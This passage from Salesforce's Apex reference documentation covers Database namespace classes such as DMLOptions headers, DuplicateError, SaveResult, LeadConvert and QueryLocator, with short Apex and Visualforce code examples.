public Boolean runAsCurrentUser {get; set;}
Property Value
Type: Boolean
Usage
If specified as true, duplicate rules run for the current user, which ensures users can’t view duplicate records that aren’t available to
them.
Use runAsCurrentUser = true to detect duplicates when converting leads to contacts. Typically, lead conversion Apex code
runs in a system context and does not enforce sharing rules for the current user.
Example
This example shows how to set options so that duplicate rules run for the current user when saving a new account.
Database.DMLOptions dml = new Database.DMLOptions();
dml.DuplicateRuleHeader.allowSave = true;
dml.DuplicateRuleHeader.runAsCurrentUser = true;
Account duplicateAccount = new Account(Name='dupe');
1662
DMLOptions.DuplicateRuleHeader ClassReference
Database.SaveResult sr = Database.insert(duplicateAccount, dml);
if (sr.isSuccess()) {
System.debug('Duplicate account has been inserted in Salesforce!');
}
DmlOptions.EmailHeader Class
Enables setting email options.
Namespace
Database
Usage
Even though auto-sent emails can be triggered by actions in the Salesforce user interface, the DMLOptions settings for emailHeader
take effect only for DML operations carried out in Apex code.
Example
In the following example, the triggerAutoResponseEmail option is specified:
Account a = new Account(name='Acme Plumbing');
insert a;
Contact c = new Contact(email='jplumber@salesforce.com', firstname='Joe',lastname='Plumber',
accountid=a.id);
insert c;
Database.DMLOptions dlo = new Database.DMLOptions();
dlo.EmailHeader.triggerAutoResponseEmail = true;
Case ca = new Case(subject='Plumbing Problems', contactid=c.id);
database.insert(ca, dlo);
DmlOptions.EmailHeader Properties
The following are properties for DmlOptions.EmailHeader.
IN THIS SECTION:
triggerAutoResponseEmail
Indicates whether to trigger auto-response rules (true) or not (false), for leads and cases.
triggerOtherEmail
Indicates whether to trigger email outside the organization (true) or not (false).
1663
DmlOptions.EmailHeader ClassReference
triggerUserEmail
Indicates whether to trigger email that is sent to users in the organization (true) or not (false).
triggerAutoResponseEmail
Indicates whether to trigger auto-response rules (true) or not (false), for leads and cases.
Signature
public Boolean triggerAutoResponseEmail {get; set;}
Property Value
Type: Boolean
Usage
This email can be automatically triggered by a number of events, for example creating a case or resetting a user password. If this value
is set to true, when a case is created, if there is an email address for the contact specified in ContactID, the email is sent to that
address. If not, the email is sent to the address specified in SuppliedEmail
triggerOtherEmail
Indicates whether to trigger email outside the organization (true) or not (false).
Signature
public Boolean triggerOtherEmail {get; set;}
Property Value
Type: Boolean
Usage
This email can be automatically triggered by creating, editing, or deleting a contact for a case.
Note: Email sent through Apex because of a group event includes additional behaviors. A group event is an event for which
IsGroupEvent is true. The EventAttendee object tracks the users, leads, or contacts that are invited to a group event.
Note the following behaviors for group event email sent through Apex:
•Sending a group event invitation to a lead or contact respects the triggerOtherEmail option
•Email sent when updating or deleting a group event also respects the triggerUserEmail and triggerOtherEmail
options, as appropriate
triggerUserEmail
Indicates whether to trigger email that is sent to users in the organization (true) or not (false).
1664
DmlOptions.EmailHeader ClassReference
Signature
public Boolean triggerUserEmail {get; set;}
Property Value
Type: Boolean
Usage
This email can be automatically triggered by a number of events; resetting a password, creating a new user, or creating or modifying a
task.
Note: Adding comments to a case in Apex doesn’t trigger email to users in the organization even if triggerUserEmail is
set to true.
Note: Email sent through Apex because of a group event includes additional behaviors. A group event is an event for which
IsGroupEvent is true. The EventAttendee object tracks the users, leads, or contacts that are invited to a group event. Note
the following behaviors for group event email sent through Apex:
•Sending a group event invitation to a user respects the triggerUserEmail option
•Email sent when updating or deleting a group event also respects the triggerUserEmail and triggerOtherEmail
options, as appropriate
DuplicateError Class
Contains information about an error that occurred when an attempt was made to save a duplicate record. Use if your organization has
set up duplicate rules, which are part of the Duplicate Management feature.
Namespace
Database
Example
When you try to save a record that’s identified as a duplicate record by a duplicate rule, you’ll receive a duplicate error. If the duplicate
rule contains the Allow action, an attempt will be made to bypass the error.
// Try to save a duplicate account
Account duplicateAccount = new Account(Name='Acme', BillingCity='San Francisco');
Database.SaveResult sr = Database.insert(duplicateAccount, false);
if (!sr.isSuccess()) {
// Insertion failed due to duplicate detected
for(Database.Error duplicateError : sr.getErrors()){
Datacloud.DuplicateResult duplicateResult =
((Database.DuplicateError)duplicateError).getDuplicateResult();
System.debug('Duplicate records have been detected by ' +
duplicateResult.getDuplicateRule());
System.debug(duplicateResult.getErrorMessage());
}
1665
DuplicateError ClassReference
// If the duplicate rule is an alert rule, we can try to bypass it
Database.DMLOptions dml = new Database.DMLOptions();
dml.DuplicateRuleHeader.AllowSave = true;
Database.SaveResult sr2 = Database.insert(duplicateAccount, dml);
if (sr2.isSuccess()) {
System.debug('Duplicate account has been inserted in Salesforce!');
}
}
IN THIS SECTION:
DuplicateError Methods
SEE ALSO:
SaveResult Class
DuplicateResult Class
Error Class
DuplicateError Methods
The following are methods for DuplicateError.
IN THIS SECTION:
getDuplicateResult()
Returns the details of a duplicate rule and duplicate records found by the duplicate rule.
getFields()
Returns an array of one or more field names. Identifies which fields in the object, if any, affected the error condition.
getMessage()
Returns the error message text.
getStatusCode()
Returns a code that characterizes the error.
getDuplicateResult()
Returns the details of a duplicate rule and duplicate records found by the duplicate rule.
Signature
public Datacloud.DuplicateResult getDuplicateResult()
Return Value
Type: Datacloud.DuplicateResult
1666
DuplicateError ClassReference
Example
This example shows the code used to get the possible duplicates and related match information after saving a new contact. This code
is part of a custom application that implements duplicate management when users add a contact. See DuplicateResult Class on page
1694 to check out the entire sample applicaton.
Datacloud.DuplicateResult duplicateResult =
duplicateError.getDuplicateResult();
getFields()
Returns an array of one or more field names. Identifies which fields in the object, if any, affected the error condition.
Signature
public List<String> getFields()
Return Value
Type: List<String>
getMessage()
Returns the error message text.
Signature
public String getMessage()
Return Value
Type: String
getStatusCode()
Returns a code that characterizes the error.
Signature
public StatusCode getStatusCode()
Return Value
Type: StatusCode
EmptyRecycleBinResult Class
The result of the emptyRecycleBin DML operation returned by the Database.emptyRecycleBin method.
1667
EmptyRecycleBinResult ClassReference
Namespace
Database
Usage
A list of Database.EmptyRecycleBinResult objects is returned by the Database.emptyRecycleBin method. Each
object in the list corresponds to either a record ID or an sObject passed as the parameter in the Database.emptyRecycleBin
method. The first index in the EmptyRecycleBinResult list matches the first record or sObject specified in the list, the second with the
second, and so on.
EmptyRecycleBinResult Methods
The following are methods for EmptyRecycleBinResult. All are instance methods.
IN THIS SECTION:
getErrors()
If an error occurred during the delete for this record or sObject, returns a list of one or more Database.Error objects. If no errors
occurred, the returned list is empty.
getId()
Returns the ID of the record or sObject you attempted to delete.
isSuccess()
Returns true if the record or sObject was successfully removed from the Recycle Bin; otherwise false.
getErrors()
If an error occurred during the delete for this record or sObject, returns a list of one or more Database.Error objects. If no errors occurred,
the returned list is empty.
Signature
public Database.Errors[] getErrors()
Return Value
Type: Database.Errors []
getId()
Returns the ID of the record or sObject you attempted to delete.
Signature
public ID getId()
Return Value
Type: ID
1668
EmptyRecycleBinResult ClassReference
isSuccess()
Returns true if the record or sObject was successfully removed from the Recycle Bin; otherwise false.
Signature
public Boolean isSuccess()
Return Value
Type: Boolean
Error Class
Represents information about an error that occurred during a DML operation when using a Database method.
Namespace
Database
Usage
Error class is part of SaveResult, which is generated when a user attempts to save a Salesforce record.
SEE ALSO:
SaveResult Class
DuplicateError Class
Error Methods
The following are methods for Error. All are instance methods.
IN THIS SECTION:
getFields()
Returns an array of one or more field names. Identifies which fields in the object, if any, affected the error condition.
getMessage()
Returns the error message text.
getStatusCode()
Returns a code that characterizes the error.
getFields()
Returns an array of one or more field names. Identifies which fields in the object, if any, affected the error condition.
Signature
public String[] getFields()
1669
Error ClassReference
Return Value
Type: String[]
getMessage()
Returns the error message text.
Signature
public String getMessage()
Return Value
Type: String
getStatusCode()
Returns a code that characterizes the error.
Signature
public StatusCode getStatusCode()
Return Value
Type: StatusCode
Usage
The full list of status codes is available in the WSDL file for your organization (see Downloading Salesforce WSDLs and Client Authentication
Certificates in the Salesforce online help.)
GetDeletedResult Class
Contains the deleted records retrieved for a specific sObject type and time window.
Namespace
Database
Usage
The Database.getDeleted method returns the deleted record information as a Database.GetDeletedResult object.
GetDeletedResult Methods
The following are methods for GetDeletedResult. All are instance methods.
1670
GetDeletedResult ClassReference
IN THIS SECTION:
getDeletedRecords()
Returns a list of deleted records for the time window specified in the Database.getDeleted method call.
getEarliestDateAvailable()
Returns the date in Coordinated Universal Time (UTC) of the earliest physically deleted object for the sObject type specified in
Database.getDeleted.
getLatestDateCovered()
Returns the date in Coordinated Universal Time (UTC) of the last date covered in the Database.getDeleted call.
getDeletedRecords()
Returns a list of deleted records for the time window specified in the Database.getDeleted method call.
Signature
public List<Database.DeletedRecord> getDeletedRecords()
Return Value
Type: List<Database.DeletedRecord>
getEarliestDateAvailable()
Returns the date in Coordinated Universal Time (UTC) of the earliest physically deleted object for the sObject type specified in
Database.getDeleted.
Signature
public Date getEarliestDateAvailable()
Return Value
Type: Date
getLatestDateCovered()
Returns the date in Coordinated Universal Time (UTC) of the last date covered in the Database.getDeleted call.
Signature
public Date getLatestDateCovered()
Return Value
Type: Date
1671
GetDeletedResult ClassReference
Usage
If there is a value, it is less than or equal to the endDate argument of Database.getDeleted. A value here indicates that, for
safety, you should use this value for the startDate of your next call to capture the changes that started after this date but didn’t
complete before endDate and were, therefore, not returned in the previous call.
GetUpdatedResult Class
Contains the result for the Database.getUpdated method call.
Namespace
Database
Usage
Use the methods in this class to obtain detailed information about the updated records returned by Database.getUpdated for
a specific time window.
GetUpdatedResult Methods
The following are methods for GetUpdatedResult. All are instance methods.
IN THIS SECTION:
getIds()
Returns the IDs of records updated within the time window specified in the Database.getUpdated method.
getLatestDateCovered()
Returns the date in Coordinated Universal Time (UTC) of the last date covered in the Database.getUpdated call.
getIds()
Returns the IDs of records updated within the time window specified in the Database.getUpdated method.
Signature
public List<Id> getIds()
Return Value
Type: List<ID>
getLatestDateCovered()
Returns the date in Coordinated Universal Time (UTC) of the last date covered in the Database.getUpdated call.
Signature
public Date getLatestDateCovered()
1672
GetUpdatedResult ClassReference
Return Value
Type: Date
LeadConvert Class
Contains information used for lead conversion.
Namespace
Database
Usage
The convertLead Database method converts a lead into an account and contact, as well as (optionally) an opportunity. The
convertLead takes an instance of the Database.LeadConvert class as a parameter. Create an instance of this class and set
the information required for conversion, such as setting the lead, and destination account and contact.
Example
This example shows how to use the Database.convertLead method to convert a lead. It inserts a new lead, creates a
LeadConvert object, sets its status to converted, then passes it to the Database.convertLead method. Finally, it verifies
that the conversion was successful.
Lead myLead = new Lead(LastName = 'Fry', Company='Fry And Sons');
insert myLead;
Database.LeadConvert lc = new Database.LeadConvert();
lc.setLeadId(myLead.id);
LeadStatus convertStatus = [SELECT Id, MasterLabel FROM LeadStatus WHERE IsConverted=true
LIMIT 1];
lc.setConvertedStatus(convertStatus.MasterLabel);
Database.LeadConvertResult lcr = Database.convertLead(lc);
System.assert(lcr.isSuccess());
IN THIS SECTION:
LeadConvert Constructors
LeadConvert Methods
LeadConvert Constructors
The following are constructors for LeadConvert.
IN THIS SECTION:
LeadConvert()
Creates a new instance of the Database.LeadConvert class.
1673
LeadConvert ClassReference
LeadConvert()
Creates a new instance of the Database.LeadConvert class.
Signature
public LeadConvert()
LeadConvert Methods
The following are methods for LeadConvert. All are instance methods.
IN THIS SECTION:
getAccountId()
Gets the ID of the account into which the lead will be merged.
getContactId()
Gets the ID of the contact into which the lead will be merged.
getConvertedStatus()
Gets the lead status value for a converted lead.
getLeadID()
Gets the ID of the lead to convert.
getOpportunityName()
Gets the name of the opportunity to create.
getOwnerID()
Gets the ID of the person to own any newly created account, contact, and opportunity.
isDoNotCreateOpportunity()
Indicates whether an Opportunity is created during lead conversion (false, the default) or not (true).
isOverWriteLeadSource()
Indicates whether the LeadSource field on the target Contact object is overwritten with the contents of the LeadSource
field in the source Lead object (true), or not (false, the default).
isSendNotificationEmail()
Indicates whether a notification email is sent to the owner specified by setOwnerId (true) or not (false, the default).
setAccountId(accountId)
Sets the ID of the account into which the lead is merged. This value is required only when updating an existing account, including
person accounts.
setContactId(contactId)
Sets the ID of the contact into which the lead will be merged (this contact must be associated with the account specified with
setAccountId, and setAccountId must be specified). This value is required only when updating an existing contact.
setConvertedStatus(status)
Sets the lead status value for a converted lead. This field is required.
setDoNotCreateOpportunity(createOpportunity)
Specifies whether to create an opportunity during lead conversion. The default value is false: opportunities are created by default.
Set this flag to true only if you do not want to create an opportunity from the lead.
1674
LeadConvert ClassReference
setLeadId(leadId)
Sets the ID of the lead to convert. This field is required.
setOpportunityName(opportunityName)
Sets the name of the opportunity to create. If no name is specified, this value defaults to the company name of the lead.
setOverwriteLeadSource(overwriteLeadSource)
Specifies whether to overwrite the LeadSource field on the target contact object with the contents of the LeadSource field
in the source lead object. The default value is false, to not overwrite the field. If you specify this as true, you must also specify
setContactId for the target contact.
setOwnerId(ownerId)
Specifies the ID of the person to own any newly created account, contact, and opportunity. If the application does not specify this
value, the owner of the new object will be the owner of the lead.
setSendNotificationEmail(sendEmail)
Specifies whether to send a notification email to the owner specified by setOwnerId. The default value is false, that is, to not
send email.
getAccountId()
Gets the ID of the account into which the lead will be merged.
Signature
public ID getAccountId()
Return Value
Type: ID
getContactId()
Gets the ID of the contact into which the lead will be merged.
Signature
public ID getContactId()
Return Value
Type: ID
getConvertedStatus()
Gets the lead status value for a converted lead.
Signature
public String getConvertedStatus()
1675
LeadConvert ClassReference
Return Value
Type: String
getLeadID()
Gets the ID of the lead to convert.
Signature
public ID getLeadID()
Return Value
Type: ID
getOpportunityName()
Gets the name of the opportunity to create.
Signature
public String getOpportunityName()
Return Value
Type: String
getOwnerID()
Gets the ID of the person to own any newly created account, contact, and opportunity.
Signature
public ID getOwnerID()
Return Value
Type: ID
isDoNotCreateOpportunity()
Indicates whether an Opportunity is created during lead conversion (false, the default) or not (true).
Signature
public Boolean isDoNotCreateOpportunity()
Return Value
Type: Boolean
1676
LeadConvert ClassReference
isOverWriteLeadSource()
Indicates whether the LeadSource field on the target Contact object is overwritten with the contents of the LeadSource field
in the source Lead object (true), or not (false, the default).
Signature
public Boolean isOverWriteLeadSource()
Return Value
Type: Boolean
isSendNotificationEmail()
Indicates whether a notification email is sent to the owner specified by setOwnerId (true) or not (false, the default).
Signature
public Boolean isSendNotificationEmail()
Return Value
Type: Boolean
setAccountId(accountId)
Sets the ID of the account into which the lead is merged. This value is required only when updating an existing account, including person
accounts.
Signature
public Void setAccountId(ID accountId)
Parameters
accountId
Type: ID
Return Value
Type: Void
setContactId(contactId)
Sets the ID of the contact into which the lead will be merged (this contact must be associated with the account specified with
setAccountId, and setAccountId must be specified). This value is required only when updating an existing contact.
Signature
public Void setContactId(ID contactId)
1677
LeadConvert ClassReference
Parameters
contactId
Type: ID
Return Value
Type: Void
Usage
If setContactId is specified, then the application creates a new contact that is implicitly associated with the account. The contact
name and other existing data are not overwritten (unless setOverwriteLeadSource is set to true, in which case only the
LeadSource field is overwritten).
Important: If you are converting a lead into a person account, do not specify setContactId or an error will result. Specify
only setAccountId of the person account.
setConvertedStatus(status)
Sets the lead status value for a converted lead. This field is required.
Signature
public Void setConvertedStatus(String status)
Parameters
status
Type: String
Return Value
Type: Void
setDoNotCreateOpportunity(createOpportunity)
Specifies whether to create an opportunity during lead conversion. The default value is false: opportunities are created by default.
Set this flag to true only if you do not want to create an opportunity from the lead.
Signature
public Void setDoNotCreateOpportunity(Boolean createOpportunity)
Parameters
createOpportunity
Type: Boolean
Return Value
Type: Void
1678
LeadConvert ClassReference
setLeadId(leadId)
Sets the ID of the lead to convert. This field is required.
Signature
public Void setLeadId(ID leadId)
Parameters
leadId
Type: ID
Return Value
Type: Void
setOpportunityName(opportunityName)
Sets the name of the opportunity to create. If no name is specified, this value defaults to the company name of the lead.
Signature
public Void setOpportunityName(String opportunityName)
Parameters
opportunityName
Type: String
Return Value
Type: Void
Usage
The maximum length of this field is 80 characters.
If setDoNotCreateOpportunity is true, no Opportunity is created and this field must be left blank; otherwise, an error is
returned.
setOverwriteLeadSource(overwriteLeadSource)
Specifies whether to overwrite the LeadSource field on the target contact object with the contents of the LeadSource field in
the source lead object. The default value is false, to not overwrite the field. If you specify this as true, you must also specify
setContactId for the target contact.
Signature
public Void setOverwriteLeadSource(Boolean overwriteLeadSource)
1679
LeadConvert ClassReference
Parameters
overwriteLeadSource
Type: Boolean
Return Value
Type: Void
setOwnerId(ownerId)
Specifies the ID of the person to own any newly created account, contact, and opportunity. If the application does not specify this value,
the owner of the new object will be the owner of the lead.
Signature
public Void setOwnerId(ID ownerId)
Parameters
ownerId
Type: ID
Return Value
Type: Void
Usage
This method is not applicable when merging with existing objects—if setOwnerId is specified, the ownerId field is not overwritten
in an existing account or contact.
setSendNotificationEmail(sendEmail)
Specifies whether to send a notification email to the owner specified by setOwnerId. The default value is false, that is, to not
send email.
Signature
public Void setSendNotificationEmail(Boolean sendEmail)
Parameters
sendEmail
Type: Boolean
Return Value
Type: Void
1680
LeadConvert ClassReference
LeadConvertResult Class
The result of a lead conversion.
Namespace
Database
Usage
An array of LeadConvertResult objects is returned with the convertLead Database method. Each element in the LeadConvertResult
array corresponds to the sObject array passed as the SObject[] parameter in the convertLead Database method, that is, the
first element in the LeadConvertResult array matches the first element passed in the SObject array, the second element corresponds to
the second element, and so on. If only one sObject is passed in, the LeadConvertResult array contains a single element.
LeadConvertResult Methods
The following are methods for LeadConvertResult. All are instance methods.
IN THIS SECTION:
getAccountId()
The ID of the new account (if a new account was specified) or the ID of the account specified when convertLead was invoked.
getContactId()
The ID of the new contact (if a new contact was specified) or the ID of the contact specified when convertLead was invoked.
getErrors()
If an error occurred, an array of one or more database error objects providing the error code and description.
getLeadId()
The ID of the converted lead.
getOpportunityId()
The ID of the new opportunity, if one was created when convertLead was invoked.
isSuccess()
A Boolean value that is set to true if the DML operation was successful for this object, false otherwise
getAccountId()
The ID of the new account (if a new account was specified) or the ID of the account specified when convertLead was invoked.
Signature
public ID getAccountId()
Return Value
Type: ID
1681
LeadConvertResult ClassReference
getContactId()
The ID of the new contact (if a new contact was specified) or the ID of the contact specified when convertLead was invoked.
Signature
public ID getContactId()
Return Value
Type: ID
getErrors()
If an error occurred, an array of one or more database error objects providing the error code and description.
Signature
public Database.Error[] getErrors()
Return Value
Type: Database.Error[]
getLeadId()
The ID of the converted lead.
Signature
public ID getLeadId()
Return Value
Type: ID
getOpportunityId()
The ID of the new opportunity, if one was created when convertLead was invoked.
Signature
public ID getOpportunityId()
Return Value
Type: ID
isSuccess()
A Boolean value that is set to true if the DML operation was successful for this object, false otherwise
1682
LeadConvertResult ClassReference
Signature
public Boolean isSuccess()
Return Value
Type: Boolean
MergeResult Class
Contains the result of a merge Database method operation.
Namespace
Database
Usage
The Database.merge method returns a Database.MergeResult object for each merged record.
MergeResult Methods
The following are methods for MergeResult. All are instance methods.
IN THIS SECTION:
getErrors()
Returns a list of Database.Error objects representing the errors encountered, if any, during a merge operation using the
Database.merge method. If no error occurred, returns null.
getId()
Returns the ID of the master record into which other records were merged.
getMergedRecordIds()
Returns the IDs of the records merged into the master record.
getUpdatedRelatedIds()
Returns the IDs of all related records that were reparented as a result of the merge that are viewable by the user sending the merge
call.
isSuccess()
Indicates whether the merge was successful (true) or not (false).
getErrors()
Returns a list of Database.Error objects representing the errors encountered, if any, during a merge operation using the
Database.merge method. If no error occurred, returns null.
Signature
public List<Database.Error> getErrors()
1683
MergeResult ClassReference
Return Value
Type: List<Database.Error>
getId()
Returns the ID of the master record into which other records were merged.
Signature
public Id getId()
Return Value
Type: ID
getMergedRecordIds()
Returns the IDs of the records merged into the master record.
Signature
public List<String> getMergedRecordIds()
Return Value
Type: List<String>
getUpdatedRelatedIds()
Returns the IDs of all related records that were reparented as a result of the merge that are viewable by the user sending the merge call.
Signature
public List<String> getUpdatedRelatedIds()
Return Value
Type: List<String>
isSuccess()
Indicates whether the merge was successful (true) or not (false).
Signature
public Boolean isSuccess()
Return Value
Type: Boolean
1684
MergeResult ClassReference
QueryLocator Class
Represents the record set returned by Database.getQueryLocator and used with Batch Apex.
Namespace
Database
QueryLocator Methods
The following are methods for QueryLocator. All are instance methods.
IN THIS SECTION:
getQuery()
Returns the query used to instantiate the Database.QueryLocator object. This is useful when testing the start method.
iterator()
Returns a new instance of a query locator iterator.
getQuery()
Returns the query used to instantiate the Database.QueryLocator object. This is useful when testing the start method.
Signature
public String getQuery()
Return Value
Type: String
Usage
You cannot use the FOR UPDATE keywords with a getQueryLocator query to lock a set of records. The start method automatically
locks the set of records in the batch.
Example
System.assertEquals(QLReturnedFromStart.
getQuery(),
Database.getQueryLocator([SELECT Id
FROM Account]).getQuery() );
iterator()
Returns a new instance of a query locator iterator.
1685
QueryLocator ClassReference
Signature
public Database.QueryLocatorIterator iterator()
Return Value
Type: Database.QueryLocatorIterator
Usage
Warning: To iterate over a query locator, save the iterator instance that this method returns in a variable and then use this variable
to iterate over the collection. Calling iterator every time you want to perform an iteration can result in incorrect behavior
because each call returns a new iterator instance.
For an example, see QueryLocatorIterator Class.
QueryLocatorIterator Class
Represents an iterator over a query locator record set.
Namespace
Database
Example
This sample shows how to obtain an iterator for a query locator, which contains five accounts. This sample calls hasNext and next
to get each record in the collection.
// Get a query locator
Database.QueryLocator q = Database.getQueryLocator(
[SELECT Name FROM Account LIMIT 5]);
// Get an iterator
Database.QueryLocatorIterator it = q.iterator();
// Iterate over the records
while (it.hasNext())
{
Account a = (Account)it.next();
System.debug(a);
}
QueryLocatorIterator Methods
The following are methods for QueryLocatorIterator. All are instance methods.
IN THIS SECTION:
hasNext()
Returns true if there are one or more records remaining in the collection; otherwise, returns false.
1686
QueryLocatorIterator ClassReference
next()
Advances the iterator to the next sObject record and returns the sObject.
hasNext()
Returns true if there are one or more records remaining in the collection; otherwise, returns false.
Signature
public Boolean hasNext()
Return Value
Type: Boolean
next()
Advances the iterator to the next sObject record and returns the sObject.
Signature
public sObject next()
Return Value
Type: sObject
Usage
Because the return value is the generic sObject type, you must cast it if using a more specific type. For example:
Account a = (Account)myIterator.next();
Example
Account a = (Account)myIterator.next();
SaveResult Class
The result of an insert or update DML operation returned by a Database method.
Namespace
Database
Usage
An array of SaveResult objects is returned with the insert and update database methods. Each element in the SaveResult array
corresponds to the sObject array passed as the sObject[] parameter in the Database method, that is, the first element in the
1687
SaveResult ClassReference
SaveResult array matches the first element passed in the sObject array, the second element corresponds with the second element, and
so on. If only one sObject is passed in, the SaveResult array contains a single element.
A SaveResult object is generated when a new or existing Salesforce record is saved.
Example
The following example shows how to obtain and iterate through the returned Database.SaveResult objects. It inserts two
accounts using Database.insert with a false second parameter to allow partial processing of records on failure. One of the
accounts is missing the Name required field, which causes a failure. Next, it iterates through the results to determine whether the
operation was successful or not for each record. It writes the ID of every record that was processed successfully to the debug log, or error
messages and fields of the failed records. This example generates one successful operation and one failure.
// Create two accounts, one of which is missing a required field
Account[] accts = new List<Account>{
new Account(Name='Account1'),
new Account()};
Database.SaveResult[] srList = Database.insert(accts, false);
// Iterate through each returned result
for (Database.SaveResult sr : srList) {
if (sr.isSuccess()) {
// Operation was successful, so get the ID of the record that was processed
System.debug('Successfully inserted account. Account ID: ' + sr.getId());
}
else {
// Operation failed, so get all errors
for(Database.Error err : sr.getErrors()) {
System.debug('The following error has occurred.');
System.debug(err.getStatusCode() + ': ' + err.getMessage());
System.debug('Account fields that affected this error: ' + err.getFields());
}
}
}
SEE ALSO:
Error Class
DuplicateError Class
SaveResult Methods
The following are methods for SaveResult. All are instance methods.
IN THIS SECTION:
getErrors()
If an error occurred, returns an array of one or more database error objects providing the error code and description. If no error
occurred, returns an empty set.
getId()
Returns the ID of the sObject you were trying to insert or update.
1688
SaveResult ClassReference
isSuccess()
Returns a Boolean that is set to true if the DML operation was successful for this object, false otherwise.
getErrors()
If an error occurred, returns an array of one or more database error objects providing the error code and description. If no error occurred,
returns an empty set.
Signature
public Database.Error[] getErrors()
Return Value
Type: Database.Error[]
getId()
Returns the ID of the sObject you were trying to insert or update.
Signature
public ID getId()
Return Value
Type: ID
Usage
If this field contains a value, the object was successfully inserted or updated. If this field is empty, the operation was not successful for
that object.
isSuccess()
Returns a Boolean that is set to true if the DML operation was successful for this object, false otherwise.
Signature
public Boolean isSuccess()
Return Value
Type: Boolean
1689
SaveResult ClassReference
Example
This example shows the code used to process duplicate records, which are detected when there is an unsuccessful save due to an error.
This code is part of a custom application that implements duplicate management when users add a contact. See DuplicateResult Class
on page 1694 to check out the entire sample applicaton.
if (!saveResult.isSuccess()) { ... }
UndeleteResult Class
The result of an undelete DML operation returned by the Database.undelete method.
Namespace
Database
Usage
An array of Database.UndeleteResult objects is returned with the undelete database method. Each element in the UndeleteResult
array corresponds to the sObject array passed as the sObject[] parameter in the undelete Database method; that is, the first
element in the UndeleteResult array matches the first element passed in the sObject array, the second element corresponds with the
second element, and so on. If only one sObject is passed in, the UndeleteResults array contains a single element.
UndeleteResult Methods
The following are methods for UndeleteResult. All are instance methods.
IN THIS SECTION:
getErrors()
If an error occurred, returns an array of one or more database error objects providing the error code and description. If no error
occurred, returns null.
getId()
Returns the ID of the sObject you were trying to undelete.
isSuccess()
Returns a Boolean value that is set to true if the DML operation was successful for this object, false otherwise.
getErrors()
If an error occurred, returns an array of one or more database error objects providing the error code and description. If no error occurred,
returns null.
Signature
public Database.Error[] getErrors()
Return Value
Type: Database.Error[]
1690
UndeleteResult ClassReference
getId()
Returns the ID of the sObject you were trying to undelete.
Signature
public ID getId()
Return Value
Type: ID
Usage
If this field contains a value, the object was successfully undeleted. If this field is empty, the operation was not successful for that object.
isSuccess()
Returns a Boolean value that is set to true if the DML operation was successful for this object, false otherwise.
Signature
public Boolean isSuccess()
Return Value
Type: Boolean
UpsertResult Class
The result of an upsert DML operation returned by the Database.upsert method.
Namespace
Database
Usage
An array of Database.UpsertResult objects is returned with the upsert database method. Each element in the UpsertResult array
corresponds to the sObject array passed as the sObject[] parameter in the upsert Database method; that is, the first element
in the UpsertResult array matches the first element passed in the sObject array, the second element corresponds with the second element,
and so on. If only one sObject is passed in, the UpsertResults array contains a single element.
UpsertResult Methods
The following are methods for UpsertResult. All are instance methods.
1691
UpsertResult ClassReference
IN THIS SECTION:
getErrors()
If an error occurred, returns an array of one or more database error objects providing the error code and description. If no error
occurred, returns an empty set.
getId()
Returns the ID of the sObject you were trying to update or insert.
isCreated()
A Boolean value that is set to true if the record was created, false if the record was updated.
isSuccess()
Returns a Boolean value that is set to true if the DML operation was successful for this object, false otherwise.
getErrors()
If an error occurred, returns an array of one or more database error objects providing the error code and description. If no error occurred,
returns an empty set.
Signature
public Database.Error[] getErrors()
Return Value
Type: Database.Error []
getId()
Returns the ID of the sObject you were trying to update or insert.
Signature
public ID getId()
Return Value
Type: ID
Usage
If this field contains a value, the object was successfully updated or inserted. If this field is empty, the operation was not successful for
that object.
isCreated()
A Boolean value that is set to true if the record was created, false if the record was updated.
Signature
public Boolean isCreated()
1692
UpsertResult ClassReference
Return Value
Type: Boolean
isSuccess()
Returns a Boolean value that is set to true if the DML operation was successful for this object, false otherwise.
Signature
public Boolean isSuccess()
Return Value
Type: Boolean
Datacloud Namespace
The Datacloud namespace provides classes and methods for retrieving information about duplicate rules. Duplicate rules let you
control whether and when users can save duplicate records within Salesforce.
The following are the classes in the Datacloud namespace.
IN THIS SECTION:
AdditionalInformationMap Class
Represents other information, if any, about matched records.
DuplicateResult Class
Represents the details of a duplicate rule that detected duplicate records and information about those duplicate records.
FieldDiff Class
Represents the name of a matching rule field and how the values of the field compare for the duplicate and its matching record.
MatchRecord Class
Represents a duplicate record detected by a matching rule.
MatchResult Class
Represents the duplicate results for a matching rule.
AdditionalInformationMap Class
Represents other information, if any, about matched records.
Namespace
Datacloud
IN THIS SECTION:
AdditionalInformationMap Methods
1693
Datacloud NamespaceReference
AdditionalInformationMap Methods
The following are methods for AdditionalInformationMap.
IN THIS SECTION:
getName()
Returns the element name.
getValue()
Returns the value of the element.
getName()
Returns the element name.
Signature
public String getName()
Return Value
Type: String
getValue()
Returns the value of the element.
Signature
public String getValue()
Return Value
Type: String
DuplicateResult Class
Represents the details of a duplicate rule that detected duplicate records and information about those duplicate records.
Namespace
Datacloud
Usage
The DuplicateResult class and its methods are available to organizations that use duplicate rules.
DuplicateResult is contained within DuplicateError, which is part of SaveResult. SaveResult is generated when
a user attempts to save a record in Salesforce.
1694
DuplicateResult ClassReference
Example
This example shows a custom application that lets users add a contact. When a contact is saved, an alert displays if there are duplicate
records.
The sample application consists of a Visualforce page and an Apex controller. The Visualforce page is listed first so that you can see how
the page makes use of the Apex controller. Save the Apex class first before saving the Visualforce page.
<apex:page controller="ContactDedupeController">
<apex:form >
<apex:pageBlock title="Duplicate Records" rendered="{!hasDuplicateResult}">
<apex:pageMessages />
<apex:pageBlockTable value="{!duplicateRecords}" var="item">
<apex:column >
<apex:facet name="header">Name</apex:facet>
<apex:outputLink value="/{!item['Id']}">{!item['Name']}</apex:outputLink>
</apex:column>
<apex:column >
<apex:facet name="header">Owner</apex:facet>
<apex:outputField value="{!item['OwnerId']}"/>
</apex:column>
<apex:column >
<apex:facet name="header">Last Modified Date</apex:facet>
<apex:outputField value="{!item['LastModifiedDate']}"/>
</apex:column>
</apex:pageBlockTable>
</apex:pageBlock>
<apex:pageBlock title="Contact" mode="edit">
<apex:pageBlockButtons >
<apex:commandButton value="Save" action="{!save}"/>
</apex:pageBlockButtons>
<apex:pageBlockSection >
<apex:inputField value="{!Contact.FirstName}"/>
<apex:inputField value="{!Contact.LastName}"/>
<apex:inputField value="{!Contact.Email}"/>
<apex:inputField value="{!Contact.Phone}"/>
<apex:inputField value="{!Contact.AccountId}"/>
</apex:pageBlockSection>
</apex:pageBlock>
</apex:form>
</apex:page>
This sample is the Apex controller for the page. This controller contains the action method for the Save button. The save method
inserts the new contact. If errors are returned, this method iterates through each error, checks if it’s a duplicate error, adds the error
message to the page, and returns information about the duplicate records to be displayed on the page.
